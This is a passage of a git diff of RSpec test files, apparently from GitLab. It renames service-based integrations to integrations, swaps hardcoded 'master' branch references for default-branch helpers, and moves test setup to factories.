+ [:dast_site_profiles_build, :dast_scanner_profiles_build] # join tables
current_accessors.uniq!
diff --git a/spec/services/ci/update_build_queue_service_spec.rb b/spec/services/ci/update_build_queue_service_spec.rb
index 44d7809b85f..2e2ef120f1b 100644
--- a/spec/services/ci/update_build_queue_service_spec.rb
+++ b/spec/services/ci/update_build_queue_service_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe Ci::UpdateBuildQueueService do
context 'when duplicate entry exists' do
before do
- ::Ci::PendingBuild.create!(build: build, project: project)
+ create(:ci_pending_build, build: build, project: build.project)
end
it 'does nothing and returns build id' do
@@ -66,7 +66,7 @@ RSpec.describe Ci::UpdateBuildQueueService do
context 'when pending build exists' do
before do
- Ci::PendingBuild.create!(build: build, project: project)
+ create(:ci_pending_build, build: build, project: build.project)
end
it 'removes pending build in a transaction' do
@@ -146,9 +146,7 @@ RSpec.describe Ci::UpdateBuildQueueService do
context 'when duplicate entry exists' do
before do
- ::Ci::RunningBuild.create!(
- build: build, project: project, runner: runner, runner_type: runner.runner_type
- )
+ create(:ci_running_build, build: build, project: project, runner: runner)
end
it 'does nothing and returns build id' do
@@ -169,9 +167,7 @@ RSpec.describe Ci::UpdateBuildQueueService do
context 'when shared runner build tracking entry exists' do
before do
- Ci::RunningBuild.create!(
- build: build, project: project, runner: runner, runner_type: runner.runner_type
- )
+ create(:ci_running_build, build: build, project: project, runner: runner)
end
it 'removes shared runner build' do
diff --git a/spec/services/clusters/applications/prometheus_health_check_service_spec.rb b/spec/services/clusters/applications/prometheus_health_check_service_spec.rb
index ee47d00f700..e6c7b147ab7 100644
--- a/spec/services/clusters/applications/prometheus_health_check_service_spec.rb
+++ b/spec/services/clusters/applications/prometheus_health_check_service_spec.rb
@@ -42,6 +42,7 @@ RSpec.describe Clusters::Applications::PrometheusHealthCheckService, '#execute'
context 'when cluster is project_type' do
let_it_be(:project) { create(:project) }
let_it_be(:integration) { create(:alert_management_http_integration, project: project) }
+
let(:applications_prometheus_healthy) { true }
let(:prometheus) { create(:clusters_applications_prometheus, status: prometheus_status_value, healthy: applications_prometheus_healthy) }
let(:cluster) { create(:cluster, :project, application_prometheus: prometheus, projects: [project]) }
diff --git a/spec/services/commits/commit_patch_service_spec.rb b/spec/services/commits/commit_patch_service_spec.rb
index 55cbd0e5d66..edd0918e488 100644
--- a/spec/services/commits/commit_patch_service_spec.rb
+++ b/spec/services/commits/commit_patch_service_spec.rb
@@ -87,7 +87,7 @@ RSpec.describe Commits::CommitPatchService do
context 'when specifying a non existent start branch' do
let(:start_branch) { 'does-not-exist' }
- it_behaves_like 'an error response', 'Invalid reference name'
+ it_behaves_like 'an error response', 'Failed to create branch'
end
end
end
diff --git a/spec/services/container_expiration_policy_service_spec.rb b/spec/services/container_expiration_policy_service_spec.rb
index 4294e6b3f06..41dd890dd35 100644
--- a/spec/services/container_expiration_policy_service_spec.rb
+++ b/spec/services/container_expiration_policy_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe ContainerExpirationPolicyService do
let_it_be(:user) { create(:user) }
let_it_be(:container_expiration_policy) { create(:container_expiration_policy, :runnable) }
+
let(:project) { container_expiration_policy.project }
let(:container_repository) { create(:container_repository, project: project) }
diff --git a/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb b/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
index 40a2f954786..1c8ae860d10 100644
--- a/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
+++ b/spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe DependencyProxy::FindOrCreateManifestService do
let_it_be(:image) { 'alpine' }
let_it_be(:tag) { 'latest' }
let_it_be(:dependency_proxy_manifest) { create(:dependency_proxy_manifest, file_name: "#{image}:#{tag}.json") }
+
let(:manifest) { dependency_proxy_manifest.file.read }
let(:group) { dependency_proxy_manifest.group }
let(:token) { Digest::SHA256.hexdigest('123') }
diff --git a/spec/services/design_management/copy_design_collection/copy_service_spec.rb b/spec/services/design_management/copy_design_collection/copy_service_spec.rb
index 186d2481c19..89a78c9bf5f 100644
--- a/spec/services/design_management/copy_design_collection/copy_service_spec.rb
+++ b/spec/services/design_management/copy_design_collection/copy_service_spec.rb
@@ -191,8 +191,8 @@ RSpec.describe DesignManagement::CopyDesignCollection::CopyService, :clean_gitla
expect(commits_on_master(limit: 99)).to include(*target_issue.design_versions.ordered.pluck(:sha))
end
- it 'creates a master branch if none previously existed' do
- expect { subject }.to change { target_repository.branch_names }.from([]).to(['master'])
+ it 'creates a default branch if none previously existed' do
+ expect { subject }.to change { target_repository.branch_names }.from([]).to([project.design_repository.root_ref])
end
it 'does not create default branch when one exists' do
@@ -255,7 +255,7 @@ RSpec.describe DesignManagement::CopyDesignCollection::CopyService, :clean_gitla
end
def commits_on_master(limit: 10)
- target_repository.commits('master', limit: limit).map(&:id)
+ target_repository.commits(target_repository.root_ref, limit: limit).map(&:id)
end
end
end
diff --git a/spec/services/design_management/copy_design_collection/queue_service_spec.rb b/spec/services/design_management/copy_design_collection/queue_service_spec.rb
index 2d9ea4633a0..05a7b092ccf 100644
--- a/spec/services/design_management/copy_design_collection/queue_service_spec.rb
+++ b/spec/services/design_management/copy_design_collection/queue_service_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe DesignManagement::CopyDesignCollection::QueueService, :clean_gitl
expect { subject }.to change { target_issue.design_collection.copy_state }.from('ready').to('in_progress')
end
- it 'queues a DesignManagement::CopyDesignCollectionWorker' do
+ it 'queues a DesignManagement::CopyDesignCollectionWorker', :clean_gitlab_redis_queues do
expect { subject }.to change(DesignManagement::CopyDesignCollectionWorker.jobs, :size).by(1)
end
diff --git a/spec/services/design_management/save_designs_service_spec.rb b/spec/services/design_management/save_designs_service_spec.rb
index 5bc763cc95e..b76c91fbac9 100644
--- a/spec/services/design_management/save_designs_service_spec.rb
+++ b/spec/services/design_management/save_designs_service_spec.rb
@@ -177,6 +177,18 @@ RSpec.describe DesignManagement::SaveDesignsService do
end
end
+ context 'when HEAD branch is different from master' do
+ before do
+ stub_feature_flags(main_branch_over_master: true)
+ end
+
+ it 'does not raise an exception during update' do
+ run_service
+
+ expect { run_service }.not_to raise_error
+ end
+ end
+
context 'when a design is being updated' do
before do
run_service
@@ -343,7 +355,7 @@ RSpec.describe DesignManagement::SaveDesignsService do
path = File.join(build(:design, issue: issue, filename: filename).full_path)
design_repository.create_if_not_exists
design_repository.create_file(user, path, 'something fake',
- branch_name: 'master',
+ branch_name: project.default_branch_or_main,
message: 'Somehow created without being tracked in db')
end
diff --git a/spec/services/discussions/resolve_service_spec.rb b/spec/services/discussions/resolve_service_spec.rb
index 24de1d90526..9cc27973bcb 100644
--- a/spec/services/discussions/resolve_service_spec.rb
+++ b/spec/services/discussions/resolve_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Discussions::ResolveService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user, developer_projects: [project]) }
let_it_be(:merge_request) { create(:merge_request, :merge_when_pipeline_succeeds, source_project: project) }
+
let(:discussion) { create(:diff_note_on_merge_request, noteable: merge_request, project: project).to_discussion }
let(:service) { described_class.new(project, user, one_or_more_discussions: discussion) }
@@ -100,6 +101,7 @@ RSpec.describe Discussions::ResolveService do
context 'when discussion is not for a merge request' do
let_it_be(:design) { create(:design, :with_file, issue: create(:issue, project: project)) }
+
let(:discussion) { create(:diff_note_on_design, noteable: design, project: project).to_discussion }
it 'does not execute the notification service' do
diff --git a/spec/services/discussions/unresolve_service_spec.rb b/spec/services/discussions/unresolve_service_spec.rb
index 6298a00a474..0009239232c 100644
--- a/spec/services/discussions/unresolve_service_spec.rb
+++ b/spec/services/discussions/unresolve_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Discussions::UnresolveService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user, developer_projects: [project]) }
let_it_be(:merge_request) { create(:merge_request, :merge_when_pipeline_succeeds, source_project: project) }
+
let(:discussion) { create(:diff_note_on_merge_request, noteable: merge_request, project: project).to_discussion }
let(:service) { described_class.new(discussion, user) }
diff --git a/spec/services/error_tracking/collect_error_service_spec.rb b/spec/services/error_tracking/collect_error_service_spec.rb
new file mode 100644
index 00000000000..14cd588f40b
--- /dev/null
+++ b/spec/services/error_tracking/collect_error_service_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ErrorTracking::CollectErrorService do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:parsed_event) { Gitlab::Json.parse(fixture_file('error_tracking/parsed_event.json')) }
+
+ subject { described_class.new(project, nil, event: parsed_event) }
+
+ describe '#execute' do
+ it 'creates Error and creates ErrorEvent' do
+ expect { subject.execute }
+ .to change { ErrorTracking::Error.count }.by(1)
+ .and change { ErrorTracking::ErrorEvent.count }.by(1)
+ end
+
+ it 'updates Error and created ErrorEvent on second hit' do
+ subject.execute
+
+ expect { subject.execute }.not_to change { ErrorTracking::Error.count }
+ expect { subject.execute }.to change { ErrorTracking::ErrorEvent.count }.by(1)
+ end
+
+ it 'has correct values set' do
+ subject.execute
+
+ event = ErrorTracking::ErrorEvent.last
+ error = event.error
+
+ expect(error.name).to eq 'ActionView::MissingTemplate'
+ expect(error.description).to start_with 'Missing template posts/error2'
+ expect(error.actor).to eq 'PostsController#error2'
+ expect(error.platform).to eq 'ruby'
+ expect(error.last_seen_at).to eq '2021-07-08T12:59:16Z'
+
+ expect(event.description).to eq 'ActionView::MissingTemplate'
+ expect(event.occurred_at).to eq '2021-07-08T12:59:16Z'
+ expect(event.level).to eq 'error'
+ expect(event.environment).to eq 'development'
+ expect(event.payload).to eq parsed_event
+ end
+ end
+end
diff --git a/spec/services/event_create_service_spec.rb b/spec/services/event_create_service_spec.rb
index 17b2c7b38e1..611e821f3e5 100644
--- a/spec/services/event_create_service_spec.rb
+++ b/spec/services/event_create_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe EventCreateService do
+RSpec.describe EventCreateService, :clean_gitlab_redis_cache, :clean_gitlab_redis_shared_state do
let(:service) { described_class.new }
let_it_be(:user, reload: true) { create :user }
@@ -50,7 +50,7 @@ RSpec.describe EventCreateService do
end
end
- describe 'Merge Requests', :clean_gitlab_redis_shared_state do
+ describe 'Merge Requests' do
describe '#open_mr' do
subject(:open_mr) { service.open_mr(merge_request, merge_request.author) }
@@ -194,7 +194,7 @@ RSpec.describe EventCreateService do
end
end
- describe '#wiki_event', :clean_gitlab_redis_shared_state do
+ describe '#wiki_event' do
let_it_be(:user) { create(:user) }
let_it_be(:wiki_page) { create(:wiki_page) }
let_it_be(:meta) { create(:wiki_page_meta, :for_wiki_page, wiki_page: wiki_page) }
@@ -247,7 +247,7 @@ RSpec.describe EventCreateService do
end
end
- describe '#push', :clean_gitlab_redis_shared_state do
+ describe '#push' do
let(:push_data) do
{
commits: [
@@ -272,7 +272,7 @@ RSpec.describe EventCreateService do
end
end
- describe '#bulk_push', :clean_gitlab_redis_shared_state do
+ describe '#bulk_push' do
let(:push_data) do
{
action: :created,
@@ -306,7 +306,7 @@ RSpec.describe EventCreateService do
end
end
- describe 'design events', :clean_gitlab_redis_shared_state do
+ describe 'design events' do
let_it_be(:design) { create(:design, project: project) }
let_it_be(:author) { user }
@@ -318,7 +318,8 @@ RSpec.describe EventCreateService do
specify { expect { result }.to change { Event.count }.by(8) }
- specify { expect { result }.not_to exceed_query_limit(1) }
+ # An addditional query due to event tracking
+ specify { expect { result }.not_to exceed_query_limit(2) }
it 'creates 3 created design events' do
ids = result.pluck('id')
@@ -347,7 +348,8 @@ RSpec.describe EventCreateService do
specify { expect { result }.to change { Event.count }.by(5) }
- specify { expect { result }.not_to exceed_query_limit(1) }
+ # An addditional query due to event tracking
+ specify { expect { result }.not_to exceed_query_limit(2) }
it 'creates 5 destroyed design events' do
ids = result.pluck('id')
diff --git a/spec/services/git/base_hooks_service_spec.rb b/spec/services/git/base_hooks_service_spec.rb
index 4ab27c7ab05..539c294a2e7 100644
--- a/spec/services/git/base_hooks_service_spec.rb
+++ b/spec/services/git/base_hooks_service_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe Git::BaseHooksService do
end
end
- describe 'project hooks and services' do
+ describe 'project hooks and integrations' do
context 'hooks' do
before do
expect(project).to receive(:has_active_hooks?).and_return(active)
@@ -88,45 +88,45 @@ RSpec.describe Git::BaseHooksService do
end
end
- context 'services' do
+ context 'with integrations' do
before do
- expect(project).to receive(:has_active_services?).and_return(active)
+ expect(project).to receive(:has_active_integrations?).and_return(active)
end
- context 'active services' do
+ context 'with active integrations' do
let(:active) { true }
it 'executes the services' do
expect(subject).to receive(:push_data).at_least(:once).and_call_original
- expect(project).to receive(:execute_services)
+ expect(project).to receive(:execute_integrations)
subject.execute
end
end
- context 'inactive services' do
+ context 'with inactive integrations' do
let(:active) { false }
it 'does not execute the services' do
expect(subject).not_to receive(:push_data)
- expect(project).not_to receive(:execute_services)
+ expect(project).not_to receive(:execute_integrations)
subject.execute
end
end
end
- context 'execute_project_hooks param set to false' do
+ context 'when execute_project_hooks param is set to false' do
before do
params[:execute_project_hooks] = false
allow(project).to receive(:has_active_hooks?).and_return(true)
- allow(project).to receive(:has_active_services?).and_return(true)
+ allow(project).to receive(:has_active_integrations?).and_return(true)
end
- it 'does not execute hooks and services' do
+ it 'does not execute hooks and integrations' do
expect(project).not_to receive(:execute_hooks)
- expect(project).not_to receive(:execute_services)
+ expect(project).not_to receive(:execute_integrations)
subject.execute
end
diff --git a/spec/services/git/branch_push_service_spec.rb b/spec/services/git/branch_push_service_spec.rb
index cc3ba21f002..fc629fe583d 100644
--- a/spec/services/git/branch_push_service_spec.rb
+++ b/spec/services/git/branch_push_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Git::BranchPushService, services: true do
let_it_be(:user) { create(:user) }
let_it_be(:project, reload: true) { create(:project, :repository) }
+
let(:blankrev) { Gitlab::Git::BLANK_SHA }
let(:oldrev) { sample_commit.parent_id }
let(:newrev) { sample_commit.id }
@@ -411,13 +412,13 @@ RSpec.describe Git::BranchPushService, services: true do
context "for jira issue tracker" do
include JiraServiceHelper
- let(:jira_tracker) { project.create_jira_service if project.jira_service.nil? }
+ let(:jira_tracker) { project.create_jira_integration if project.jira_integration.nil? }
before do
- # project.create_jira_service doesn't seem to invalidate the cache here
+ # project.create_jira_integration doesn't seem to invalidate the cache here
project.has_external_issue_tracker = true
- stub_jira_service_test
- jira_service_settings
+ stub_jira_integration_test
+ jira_integration_settings
stub_jira_urls("JIRA-1")
allow(closing_commit).to receive_messages({
@@ -553,24 +554,13 @@ RSpec.describe Git::BranchPushService, services: true do
end
end
- describe "housekeeping" do
+ describe "housekeeping", :clean_gitlab_redis_cache, :clean_gitlab_redis_queues, :clean_gitlab_redis_shared_state do
let(:housekeeping) { Repositories::HousekeepingService.new(project) }
before do
- # Flush any raw key-value data stored by the housekeeping code.
- Gitlab::Redis::Cache.with { |conn| conn.flushall }
- Gitlab::Redis::Queues.with { |conn| conn.flushall }
- Gitlab::Redis::SharedState.with { |conn| conn.flushall }
-
allow(Repositories::HousekeepingService).to receive(:new).and_return(housekeeping)
end
- after do
- Gitlab::Redis::Cache.with { |conn| conn.flushall }
- Gitlab::Redis::Queues.with { |conn| conn.flushall }
- Gitlab::Redis::SharedState.with { |conn| conn.flushall }
- end
-
it 'does not perform housekeeping when not needed' do
expect(housekeeping).not_to receive(:execute)
@@ -707,6 +697,7 @@ RSpec.describe Git::BranchPushService, services: true do
context 'Jira Connect hooks' do
let_it_be(:project) { create(:project, :repository) }
+
let(:branch_to_sync) { nil }
let(:commits_to_sync) { [] }
let(:params) do
diff --git a/spec/services/git/wiki_push_service_spec.rb b/spec/services/git/wiki_push_service_spec.rb
index 151c2a1d014..7e5d7066e89 100644
--- a/spec/services/git/wiki_push_service_spec.rb
+++ b/spec/services/git/wiki_push_service_spec.rb
@@ -5,11 +5,12 @@ require 'spec_helper'
RSpec.describe Git::WikiPushService, services: true do
include RepoHelpers
+ let_it_be(:current_user) { create(:user) }
let_it_be(:key_id) { create(:key, user: current_user).shell_id }
- let_it_be(:wiki) { create(:project_wiki) }
- let_it_be(:current_user) { wiki.container.default_owner }
- let_it_be(:git_wiki) { wiki.wiki }
- let_it_be(:repository) { wiki.repository }
+
+ let(:wiki) { create(:project_wiki, user: current_user) }
+ let(:git_wiki) { wiki.wiki }
+ let(:repository) { wiki.repository }
describe '#execute' do
it 'executes model-specific callbacks' do
@@ -64,6 +65,26 @@ RSpec.describe Git::WikiPushService, services: true do
expect(Event.last(count).pluck(:action)).to match_array(Event::WIKI_ACTIONS.map(&:to_s))
end
+
+ context 'when wiki_page slug is not UTF-8 ' do
+ let(:binary_title) { Gitlab::EncodingHelper.encode_binary('ç¼–ç ') }
+
+ def run_service
+ wiki_page = create(:wiki_page, wiki: wiki, title: "#{binary_title} 'foo'")
+
+ process_changes do
+ # Test that new_path is converted to UTF-8
+ create(:wiki_page, wiki: wiki, title: binary_title)
+
+ # Test that old_path is also is converted to UTF-8
+ update_page(wiki_page.title, 'foo')
+ end
+ end
+
+ it 'does not raise an error' do
+ expect { run_service }.not_to raise_error
+ end
+ end
end
context 'two pages have been created' do
@@ -345,9 +366,10 @@ RSpec.describe Git::WikiPushService, services: true do
::Wikis::CreateAttachmentService.new(container: wiki.container, current_user: current_user, params: params).execute
end
- def update_page(title)
+ def update_page(title, new_title = nil)
+ new_title = title unless new_title.present?
page = git_wiki.page(title: title)
- git_wiki.update_page(page.path, title, 'markdown', 'Hey', commit_details)
+ git_wiki.update_page(page.path, new_title, 'markdown', 'Hey', commit_details)
end
def delete_page(page)
diff --git a/spec/services/groups/create_service_spec.rb b/spec/services/groups/create_service_spec.rb
index b59ee894fe8..bcba39b0eb4 100644
--- a/spec/services/groups/create_service_spec.rb
+++ b/spec/services/groups/create_service_spec.rb
@@ -161,7 +161,7 @@ RSpec.describe Groups::CreateService, '#execute' do
let(:created_group) { service.execute }
context 'with an active instance-level integration' do
- let!(:instance_integration) { create(:prometheus_service, :instance, api_url: 'https://prometheus.instance.com/') }
+ let!(:instance_integration) { create(:prometheus_integration, :instance, api_url: 'https://prometheus.instance.com/') }
it 'creates a service from the instance-level integration' do
expect(created_group.integrations.count).to eq(1)
@@ -171,7 +171,7 @@ RSpec.describe Groups::CreateService, '#execute' do
context 'with an active group-level integration' do
let(:service) { described_class.new(user, group_params.merge(parent_id: group.id)) }
- let!(:group_integration) { create(:prometheus_service, group: group, project: nil, api_url: 'https://prometheus.group.com/') }
+ let!(:group_integration) { create(:prometheus_integration, group: group, project: nil, api_url: 'https://prometheus.group.com/') }
let(:group) do
create(:group).tap do |group|
group.add_owner(user)
@@ -186,7 +186,7 @@ RSpec.describe Groups::CreateService, '#execute' do
context 'with an active subgroup' do
let(:service) { described_class.new(user, group_params.merge(parent_id: subgroup.id)) }
- let!(:subgroup_integration) { create(:prometheus_service, group: subgroup, project: nil, api_url: 'https://prometheus.subgroup.com/') }
+ let!(:subgroup_integration) { create(:prometheus_integration, group: subgroup, project: nil, api_url: 'https://prometheus.subgroup.com/') }
let(:subgroup) do
create(:group, parent: group).tap do |subgroup|
subgroup.add_owner(user)
diff --git a/spec/services/groups/group_links/destroy_service_spec.rb b/spec/services/groups/group_links/destroy_service_spec.rb
index 97fe23e9147..e63adc07313 100644
--- a/spec/services/groups/group_links/destroy_service_spec.rb
+++ b/spec/services/groups/group_links/destroy_service_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Groups::GroupLinks::DestroyService, '#execute' do
expect { subject.execute(link) }.to change { shared_group.shared_with_group_links.count }.from(1).to(0)
end
- it 'revokes project authorization' do
+ it 'revokes project authorization', :sidekiq_inline do
group.add_developer(user)
expect { subject.execute(link) }.to(
@@ -47,8 +47,8 @@ RSpec.describe Groups::GroupLinks::DestroyService, '#execute' do
it 'updates project authorization once per group' do
expect(GroupGroupLink).to receive(:delete).and_call_original
- expect(group).to receive(:refresh_members_authorized_projects).with(direct_members_only: true).once
- expect(another_group).to receive(:refresh_members_authorized_projects).with(direct_members_only: true).once
+ expect(group).to receive(:refresh_members_authorized_projects).with(direct_members_only: true, blocking: false).once
+ expect(another_group).to receive(:refresh_members_authorized_projects).with(direct_members_only: true, blocking: false).once
subject.execute(links)
end
diff --git a/spec/services/groups/group_links/update_service_spec.rb b/spec/services/groups/group_links/update_service_spec.rb
index 82c4a10f15a..31446c8e4bf 100644
--- a/spec/services/groups/group_links/update_service_spec.rb
+++ b/spec/services/groups/group_links/update_service_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe Groups::GroupLinks::UpdateService, '#execute' do
expect(link.expires_at).to eq(expiry_date)
end
- it 'updates project permissions' do
+ it 'updates project permissions', :sidekiq_inline do
expect { subject }.to change { group_member_user.can?(:create_release, project) }.from(true).to(false)
end
diff --git a/spec/services/groups/transfer_service_spec.rb b/spec/services/groups/transfer_service_spec.rb
index 2fbd5eeef5f..889b5551746 100644
--- a/spec/services/groups/transfer_service_spec.rb
+++ b/spec/services/groups/transfer_service_spec.rb
@@ -241,7 +241,7 @@ RSpec.describe Groups::TransferService do
context 'when the group is allowed to be transferred' do
let_it_be(:new_parent_group, reload: true) { create(:group, :public) }
- let_it_be(:new_parent_group_integration) { create(:slack_service, group: new_parent_group, project: nil, webhook: 'http://new-group.slack.com') }
+ let_it_be(:new_parent_group_integration) { create(:integrations_slack, group: new_parent_group, project: nil, webhook: 'http://new-group.slack.com') }
before do
allow(PropagateIntegrationWorker).to receive(:perform_async)
@@ -277,8 +277,8 @@ RSpec.describe Groups::TransferService do
let(:new_created_integration) { Integration.find_by(group: group) }
context 'with an inherited integration' do
- let_it_be(:instance_integration) { create(:slack_service, :instance, webhook: 'http://project.slack.com') }
- let_it_be(:group_integration) { create(:slack_service, group: group, project: nil, webhook: 'http://group.slack.com', inherit_from_id: instance_integration.id) }
+ let_it_be(:instance_integration) { create(:integrations_slack, :instance, webhook: 'http://project.slack.com') }
+ let_it_be(:group_integration) { create(:integrations_slack, group: group, project: nil, webhook: 'http://group.slack.com', inherit_from_id: instance_integration.id) }
it 'replaces inherited integrations', :aggregate_failures do
expect(new_created_integration.webhook).to eq(new_parent_group_integration.webhook)
@@ -288,7 +288,7 @@ RSpec.describe Groups::TransferService do
end
context 'with a custom integration' do
- let_it_be(:group_integration) { create(:slack_service, group: group, project: nil, webhook: 'http://group.slack.com') }
+ let_it_be(:group_integration) { create(:integrations_slack, group: group, project: nil, webhook: 'http://group.slack.com') }
it 'does not updates the integrations', :aggregate_failures do
expect { transfer_service.execute(new_parent_group) }.not_to change { group_integration.webhook }
diff --git a/spec/services/import/bitbucket_server_service_spec.rb b/spec/services/import/bitbucket_server_service_spec.rb
index c548e87b040..56d93625b91 100644
--- a/spec/services/import/bitbucket_server_service_spec.rb
+++ b/spec/services/import/bitbucket_server_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Import::BitbucketServerService do
let_it_be(:user) { create(:user) }
+
let(:base_uri) { "https://test:7990" }
let(:token) { "asdasd12345" }
let(:secret) { "sekrettt" }
diff --git a/spec/services/incident_management/incidents/create_service_spec.rb b/spec/services/incident_management/incidents/create_service_spec.rb
index 4601bd807d0..0f32a4b5425 100644
--- a/spec/services/incident_management/incidents/create_service_spec.rb
+++ b/spec/services/incident_management/incidents/create_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe IncidentManagement::Incidents::CreateService do
let_it_be(:project) { create(:project) }
let_it_be(:user) { User.alert_bot }
+
let(:description) { 'Incident description' }
describe '#execute' do
diff --git a/spec/services/incident_management/incidents/update_severity_service_spec.rb b/spec/services/incident_management/incidents/update_severity_service_spec.rb
deleted file mode 100644
index bc1abf82cf2..00000000000
--- a/spec/services/incident_management/incidents/update_severity_service_spec.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe IncidentManagement::Incidents::UpdateSeverityService do
- let_it_be(:user) { create(:user) }
-
- describe '#execute' do
- let(:severity) { 'low' }
- let(:system_note_worker) { ::IncidentManagement::AddSeveritySystemNoteWorker }
-
- subject(:update_severity) { described_class.new(issuable, user, severity).execute }
-
- before do
- allow(system_note_worker).to receive(:perform_async)
- end
-
- shared_examples 'adds a system note' do
- it 'calls AddSeveritySystemNoteWorker' do
- update_severity
-
- expect(system_note_worker).to have_received(:perform_async).with(issuable.id, user.id)
- end
- end
-
- context 'when issuable not an incident' do
- %i(issue merge_request).each do |issuable_type|
- let(:issuable) { build_stubbed(issuable_type) }
-
- it { is_expected.to be_nil }
-
- it 'does not set severity' do
- expect { update_severity }.not_to change(IssuableSeverity, :count)
- end
-
- it 'does not add a system note' do
- update_severity
-
- expect(system_note_worker).not_to have_received(:perform_async)
- end
- end
- end
-
- context 'when issuable is an incident' do
- let!(:issuable) { create(:incident) }
-
- context 'when issuable does not have issuable severity yet' do
- it 'creates new record' do
- expect { update_severity }.to change { IssuableSeverity.where(issue: issuable).count }.to(1)
- end
-
- it 'sets severity to specified value' do
- expect { update_severity }.to change { issuable.severity }.to('low')
- end
-
- it_behaves_like 'adds a system note'
- end
-
- context 'when issuable has an issuable severity' do
- let!(:issuable_severity) { create(:issuable_severity, issue: issuable, severity: 'medium') }
-
- it 'does not create new record' do
- expect { update_severity }.not_to change(IssuableSeverity, :count)
- end
-
- it 'updates existing issuable severity' do
- expect { update_severity }.to change { issuable_severity.severity }.to(severity)
- end
-
- it_behaves_like 'adds a system note'
- end
-
- context 'when severity value is unsupported' do
- let(:severity) { 'unsupported-severity' }
-
- it 'sets the severity to default value' do
- update_severity
-
- expect(issuable.issuable_severity.severity).to eq(IssuableSeverity::DEFAULT)
- end
-
- it_behaves_like 'adds a system note'
- end
- end
- end
-end
diff --git a/spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb b/spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb
index 73ad0532e07..fb536df5d17 100644
--- a/spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb
+++ b/spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe IncidentManagement::PagerDuty::CreateIncidentIssueService do
let_it_be(:project, reload: true) { create(:project) }
let_it_be(:user) { User.alert_bot }
+
let(:webhook_payload) { Gitlab::Json.parse(fixture_file('pager_duty/webhook_incident_trigger.json')) }
let(:parsed_payload) { ::PagerDuty::WebhookPayloadParser.call(webhook_payload) }
let(:incident_payload) { parsed_payload.first['incident'] }
diff --git a/spec/services/incident_management/pager_duty/process_webhook_service_spec.rb b/spec/services/incident_management/pager_duty/process_webhook_service_spec.rb
index 0caffb16f42..8b6eb21c25d 100644
--- a/spec/services/incident_management/pager_duty/process_webhook_service_spec.rb
+++ b/spec/services/incident_management/pager_duty/process_webhook_service_spec.rb
@@ -95,6 +95,7 @@ RSpec.describe IncidentManagement::PagerDuty::ProcessWebhookService do
context 'when both tokens are nil' do
let_it_be(:incident_management_setting) { create(:project_incident_management_setting, project: project, pagerduty_active: false) }
+
let(:token) { nil }
before do
diff --git a/spec/services/integrations/test/project_service_spec.rb b/spec/services/integrations/test/project_service_spec.rb
index 052b25b0f10..32f9f632d7a 100644
--- a/spec/services/integrations/test/project_service_spec.rb
+++ b/spec/services/integrations/test/project_service_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe Integrations::Test::ProjectService do
describe '#execute' do
let_it_be(:project) { create(:project) }
- let(:integration) { create(:slack_service, project: project) }
+
+ let(:integration) { create(:integrations_slack, project: project) }
let(:user) { project.owner }
let(:event) { nil }
let(:sample_data) { { data: 'sample' } }
@@ -23,8 +24,8 @@ RSpec.describe Integrations::Test::ProjectService do
expect(subject).to eq(success_result)
end
- context 'PipelinesEmailService' do
- let(:integration) { create(:pipelines_email_service, project: project) }
+ context 'with Integrations::PipelinesEmail' do
+ let(:integration) { create(:pipelines_email_integration, project: project) }
it_behaves_like 'tests for integration with pipeline data'
end
@@ -32,7 +33,7 @@ RSpec.describe Integrations::Test::ProjectService do
context 'with event specified' do
context 'event not supported by integration' do
- let(:integration) { create(:jira_service, project: project) }
+ let(:integration) { create(:jira_integration, project: project) }
let(:event) { 'push' }
it 'returns error message' do
@@ -131,6 +132,7 @@ RSpec.describe Integrations::Test::ProjectService do
context 'deployment' do
let_it_be(:project) { create(:project, :test_repo) }
+
let(:deployment) { build(:deployment) }
let(:event) { 'deployment' }
@@ -168,6 +170,7 @@ RSpec.describe Integrations::Test::ProjectService do
context 'wiki_page' do
let_it_be(:project) { create(:project, :wiki_repo) }
+
let(:event) { 'wiki_page' }
it 'returns error message if wiki disabled' do
diff --git a/spec/services/issuable/bulk_update_service_spec.rb b/spec/services/issuable/bulk_update_service_spec.rb
index dfdfb57111c..55e0e799c19 100644
--- a/spec/services/issuable/bulk_update_service_spec.rb
+++ b/spec/services/issuable/bulk_update_service_spec.rb
@@ -314,6 +314,7 @@ RSpec.describe Issuable::BulkUpdateService do
context 'with issuables at a group level' do
let_it_be(:group) { create(:group) }
+
let(:parent) { group }
before do
diff --git a/spec/services/issues/close_service_spec.rb b/spec/services/issues/close_service_spec.rb
index 0b315422be8..9a70de80123 100644
--- a/spec/services/issues/close_service_spec.rb
+++ b/spec/services/issues/close_service_spec.rb
@@ -81,7 +81,7 @@ RSpec.describe Issues::CloseService do
describe '#close_issue' do
context 'with external issue' do
context 'with an active external issue tracker supporting close_issue' do
- let!(:external_issue_tracker) { create(:jira_service, project: project) }
+ let!(:external_issue_tracker) { create(:jira_integration, project: project) }
